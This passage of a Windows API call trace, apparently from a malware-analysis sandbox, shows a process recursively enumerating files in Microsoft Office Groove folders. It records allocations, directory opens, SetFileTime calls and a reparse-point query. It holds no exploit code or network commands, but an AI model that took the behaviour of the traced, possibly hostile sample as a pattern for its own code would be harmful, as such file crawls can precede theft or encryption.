ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUPLER.WAV", cAlternateFileName="")) returned 1 [0078.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabff50 [0078.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6c90 [0078.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.566] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa412, dwReserved0=0x0, dwReserved1=0x0, cFileName="HORN.WAV", cAlternateFileName="")) returned 1 [0078.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabff70 [0078.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6d98 [0078.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.567] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOT.WAV", cAlternateFileName="")) returned 1 [0078.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabff90 [0078.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6ea0 [0078.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.567] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf548, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOVEL.WAV", cAlternateFileName="")) returned 1 [0078.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabffb0 [0078.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6fa8 [0078.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.568] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xedd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPLASH.WAV", cAlternateFileName="")) returned 1 [0078.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabffd0 [0078.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac70b0 [0078.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.569] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1 [0078.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfff0 [0078.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac71b8 [0078.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.570] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 0 [0078.570] GetLastError () returned 0x12 [0078.570] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0078.570] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.570] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.570] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAN.WAV", cAlternateFileName="")) returned 1 [0078.570] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51ce9230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUPLER.WAV", cAlternateFileName="")) returned 1 [0078.570] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa412, dwReserved0=0x0, dwReserved1=0x0, cFileName="HORN.WAV", cAlternateFileName="")) returned 1 [0078.570] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOT.WAV", cAlternateFileName="")) returned 1 [0078.570] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf548, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOVEL.WAV", cAlternateFileName="")) returned 1 [0078.570] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xedd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPLASH.WAV", cAlternateFileName="")) returned 1 [0078.570] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1 [0078.570] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 0 [0078.570] GetLastError () returned 0x12 [0078.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac54d8) returned 1 [0078.570] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac53d0) returned 1 [0078.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.571] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0078.571] GetLastError () returned 0x12 [0078.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.571] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0078.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0078.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0078.573] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11b8048 [0078.573] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11b8048, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11b8048, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.573] NtClose (Handle=0x168) returned 0x0 [0078.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.574] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0078.575] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.576] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0010 [0078.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac53d0 [0078.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.577] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0030 [0078.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac54d8 [0078.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.578] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChessIconImages.bmp", cAlternateFileName="")) returned 1 [0078.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0050 [0078.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac72c0 [0078.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.578] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChessIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0070 [0078.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac73c8 [0078.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.579] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateSpaceImage.jpg", cAlternateFileName="")) returned 1 [0078.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateSpaceImageMask.bmp", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImages.jpg", cAlternateFileName="")) returned 1 [0078.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, 